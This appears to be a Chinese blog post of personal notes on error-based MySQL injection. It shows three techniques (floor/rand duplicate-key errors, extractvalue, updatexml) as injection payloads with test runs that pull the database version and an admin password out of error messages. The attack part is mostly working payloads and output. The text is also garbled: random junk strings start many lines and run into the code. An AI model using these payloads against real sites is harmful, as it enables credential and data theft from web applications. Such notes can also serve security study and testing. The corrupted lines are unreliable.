关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
1 n4 M9 j, M  i2 I( Z. p* q0 y& I实际测试环境：
' C" {6 P3 q/ P5 ?3 h& o​

2 J  \( r6 z) a/ Z( ]  R5 a! N2 J9 ?mysql> show tables;
! y% ]1 b- X7 T2 N4 d+----------------+
) _7 }( Q: Z' l& Z8 K; V1 \| Tables_in_test |
) x8 J; _! B" ^) d0 _( g6 n9 I+----------------+
$ j6 k2 X' w: O) M4 w+ I" }| admin          |
| article        |
! U2 F, Y/ |. S1 H+----------------+



mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
, `$ t% z6 ~2 I- ~| Field | Type             | Null | Key | Default | Extra          |
) O! e& \/ o2 [$ u+-------+------------------+------+-----+---------+----------------+
' f+ r, f" x  `- Z( D/ Y5 l! E' V| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
" n# s8 L' B! D| pass  | varchar(50)      | NO   |     | NULL    |                |
% V6 [9 N+ Z& Y+-------+------------------+------+-----+---------+----------------+
" F/ L# |# ]2 X


- \: V. P$ M" Z% K# I2 |: xmysql> describe article;
4 D( Y9 A0 q7 T7 |' ^% R2 B+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
; B7 V9 h- @* f5 \* L| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
1 R0 m% J) v, n5 h. f+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
- N. _- {7 a% O, v8 v7 s! ?可以通过如下一些利用代码
5 c$ W" p2 v3 A' k

% N+ n6 [$ Q" w6 A0 Vand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
6 M; h+ [3 e( y

and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
' V3 {/ l" R7 R4 j# [floor(rand(0)*2)));
9 j0 p5 B7 j" h9 N$ g举例如下：
首先进行正常查询：

0 U- U+ {: U8 d' `5 R# `( d$ `; U+ @mysql> select * from article where id = 1;
% Q3 U7 D' [4 S0 \# r- j6 m+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
- N7 Y& C5 q3 f, S, t9 I) c+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。

- V# Z. B1 y. ]: Q4 T, A6 k
# ?# y5 e/ z- `% Rmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
) n8 Z) J7 S) ?6 XMethod1:
# Y( ~: s+ |- i! [; s

$ W% L0 F/ `) i: r" Qmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
7 c3 J! c4 z3 Vfrom information_schema.tables group by x)a);
, g# r2 V4 X# t: B' {' t0 ^ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
+ K% Q4 ^) L2 N/ ?2 G

mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
/ V6 }/ N+ t0 @0 d* w. s9 \floor(rand(0)*2)));
# j& |* b7 B" x! M: O8 a& J* Y- GERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
# |: `: {/ ]$ V' M( u! C0 w2、ExtractValue
测试语句如下
8 z* ~+ y8 Y, p' }
  Y0 K! V/ c, a( R( p
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
9 k7 |5 V0 w# y8 N# b(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
0 Y% M6 E$ @$ @, d- C; h4 a3、UpdateXml
. D: Q; `8 y" N+ a测试语句
/ a8 V2 u0 I: l7 \9 v

0 Q7 A/ L* [8 G3 |5 {* h, j+ cand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


& L, E4 C6 `& G6 L4 p: a8 Bmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
. z- y5 _, Y/ Z2 o/ c& WERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
7 L/ k* T8 m& w5 A; y& ~All, thanks foreign guys.
' K! ^# ^; W3 D; z0 P
& g: r" l3 t6 [- q0 L$ R​